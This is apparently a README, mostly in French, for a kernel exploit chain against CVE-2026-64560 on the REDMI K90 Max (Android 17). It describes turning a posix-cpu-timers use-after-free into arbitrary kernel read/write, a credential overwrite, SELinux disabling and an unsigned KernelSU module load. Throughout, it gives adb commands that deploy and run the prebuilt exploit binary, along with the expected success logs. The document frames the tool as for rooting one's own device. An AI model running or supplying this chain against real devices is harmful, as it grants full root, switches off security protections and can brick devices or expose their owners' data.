Chaîne d'exploitation UAF du noyau pour CVE-2026-64560 sur REDMI K90 Max (Android 17) : condition de course dans posix-cpu-timers, fuite KASLR, écrasement de cred et chargement de module KernelSU.
Sur REDMI K90 Max (nom de code prague, OS4.0.0.14.XAACNXM), exploiter CVE-2026-64560 pour obtenir un root temporaire et charger le module KernelSU.
La vulnérabilité elle-même est une condition de concurrence dans posix-cpu-timers entre « exec() d'un thread non leader » et « la suppression d'un timer CPU au niveau du processus », ce qui provoque un use-after-free de struct k_itimer. Ce projet transforme cet UAF en une chaîne d'attaque complète : UAF → écriture contrôlée → fuite KASLR → falsification d'un miscdevice pour obtenir une lecture/écriture arbitraire du noyau → redirection de pages physiques via pipe → écrasement de cred + désactivation de SELinux → chargement de KernelSU via finit_module.
[!WARNING] Il s'agit d'un code d'exploitation de vulnérabilité noyau expérimental. Il réécrit la mémoire du noyau, désactive SELinux, charge des modules non signés, et peut provoquer un panic et un redémarrage immédiats, une perte de données, voire briquer l'appareil. Ne l'utilisez que sur votre propre appareil. Sauvegardez vos données importantes avant de l'exécuter et assurez-vous de savoir comment accéder à fastboot.
Il ne s'agit pas d'un portage. La relation de référence est la suivante :
| Partie | Source |
|---|---|
| Compréhension du mécanisme de la vulnérabilité, structure des threads de race, approche de perturbation par kprobe | PoC officiel de NebuSec CyberMeowfia |
Choix du nom de groupe kprobe irq, astuce pour contourner les permissions de tracefs, et toutes les étapes après le déclenchement de l'UAF | Conception autonome de ce projet et vérification sur machine |
Concrètement, le PoC officiel cible blazer (objsize = 264, stride 0x108, 31 slots). Sur cette machine, struct k_itimer fait 0x100 (256 B), un slab d'ordre 1 contient 32 objets ; une copie directe manquerait le 32e slot, puis provoquerait un panic dans rb_next en accédant au pointeur obfusqué de la freelist SLUB. Ce genre d'endroits où « les paramètres doivent être recalculés pour la machine locale » traverse toute la chaîne, voir docs/TECHNICAL.md.
Uniquement cette machine et cette version de firmware.
| Élément | Valeur requise |
|---|---|
| Appareil | REDMI K90 Max / prague / modèle 2604FRK1EC |
| Plateforme | mt6993 (MediaTek) |
| Fingerprint | Redmi/prague/prague:17/CP2A.260605.016/OS4.0.0.14.XAACNXM:user/release-keys |
| Noyau | 6.12.69-android16-6-g586bfab1b9c5-abogki536749445-4k |
| Android | 17 (API 37) |
| Taille de page / CPU | 4 Kio / 8 cœurs |
| Identité d'exécution | shell (u:r:shell:s0), ADB requis |
Au démarrage, exploit vérifie ro.build.fingerprint + ro.product.device + /proc/cmdline (exclut gem5/QEMU) ; en cas de non-correspondance, il quitte directement (TARGET_PROFILE_GATE_FAIL). Changer de firmware nécessite de réextraire les adresses des symboles.
Le code source conserve également trois profils frankel (émulateur gem5), blazer (Pixel, cible du PoC officiel) et dada (Xiaomi 15), qui sont d'autres branches de cibles dans le même code source. Ce projet n'a validé que prague.
50388054acedc656bda2d2e6f0d8f91416cec18c960831f8e65a7c650c1113ca payload/libexploit.so (124848 B, MD5 325f44b6299136165de02f8d69887ff1)
89bf372b39e82f88934dde4e488c52d3cfe57932bd3f630bbf267cc03aca508e payload/kernelsu-prague.ko (386624 B, MD5 058122aa96795c80a717918475e06718)
3a429cd46412ee3ad6634f7e5b1e999cb6f87fe973bab0ef65c955adc16de87c src/exploit-prague.c
kernelsu-prague.ko est le module officiel de KernelSU v3.3.0 ; seule la version du noyau 6.12.76 dans vermagic a été remplacée par 6.12.69 pour correspondre à la machine locale, les autres octets sont inchangés.
Bien que libexploit.so porte l'extension .so, il s'agit en réalité d'un exécutable PIE ordinaire — ce suffixe n'a été adopté que pour pouvoir le placer dans les jniLibs d'une application Android tout en conservant les permissions d'exécution. Son utilisation en ligne de commande n'en est pas affectée.
Reconstruit à partir de src/exploit-prague.c avec la commande ci-dessus, les quatre segments PT_LOAD sont identiques octet pour octet à la charge utile publiée, et le comportement à l'exécution est totalement identique. Le hachage du fichier entier différera ; toutes les différences se situent dans le champ st_name de .symtab — l'ordre d'agencement des noms de symboles dans .strtab dépend de l'environnement de compilation (version de clang/plateforme hôte) et n'intervient pas dans le chargement.
adb (Android Platform Tools) disponible sous Windows / Linux / macOSSERIAL=<你的设备序列号>
T=/data/local/tmp
# 1. 部署载荷
adb -s $SERIAL push payload/libexploit.so $T/pk64560
adb -s $SERIAL push payload/kernelsu-prague.ko $T/kernelsu-prague.ko
adb -s $SERIAL push scripts/kp_arm.sh $T/kp_arm.sh
adb -s $SERIAL shell "chmod 755 $T/pk64560 $T/kp_arm.sh"
# 2. 布 kprobe 扰动(每次重启后都必须重做)
adb -s $SERIAL shell "sh $T/kp_arm.sh"
# 期望看到:PROBE_OK attempt=0 / IRQ_ENABLE_OK / TRACING_ON_OK / tracing_on=1
# 3. 预检
adb -s $SERIAL shell "$T/pk64560 --preflight"
# 期望最后一行:PREFLIGHT_PASS race_not_started=1 kernel_writes=0
# 4. 跑
adb -s $SERIAL shell "$T/pk64560 --run > $T/rt.log 2>&1"
adb -s $SERIAL pull $T/rt.log run.log
Pourquoi utiliser adb shell "... > fichier" plutôt que rediriger vers le local : la redirection locale de adb exec-out et adb shell perd silencieusement des octets lors de sorties longues ou lorsque le processus est interrompu par un panic (code de retour 0 et fichier de 0 octet constatés en pratique). Laisser l'appareil écrire lui-même le fichier puis le récupérer avec pull est la seule méthode fiable. De même, ne pas exécuter en arrière-plan avec nohup ... & — en cas de panic, les tampons non encore écrits sur disque disparaissent également.
Les éléments suivants apparaissent dans les journaux, et su est disponible :
EXEC_REPEAT_GATE_PASS ...
RCU_FORCE attempt=1 ... created=72000 deleted=72000 errors=0
SLAB_DRAIN_PASS attempt=N active=... total=...
STAGE0_GATE_PASS slide=0x... kernel_base=0x...
MISC_LIST_RESTORE_PASS ... depth=65
MISC_BRIDGE_RW_PASS fd=...
PIPE_RECLAIM_PASS base=0x... page=0x...
STAGE8_CHILD_USERLAND_PASS uid=0 gid=0 groups=... caps=0x1ffffffffff
ROOT_CHILD_HOLD_PASS child=... uid=0
KSU_PATCH_SYMBOLS patched=218 missing=0
KSU_FINIT_MODULE result=0 errno=0
KSU_LOAD_PASS rc=0 loaded=1
Vérification :
adb -s $SERIAL shell "grep kernelsu /proc/modules" # kernelsu 217088 0 - Live ... (O)
adb -s $SERIAL shell "su -c id" # uid=0(root) ... context=u:r:ksu:s0
su n'est visible qu'après autorisation par le gestionnaire KernelSU. Lors de la première utilisation, il faut autoriser l'appelant dans le gestionnaire KernelSU.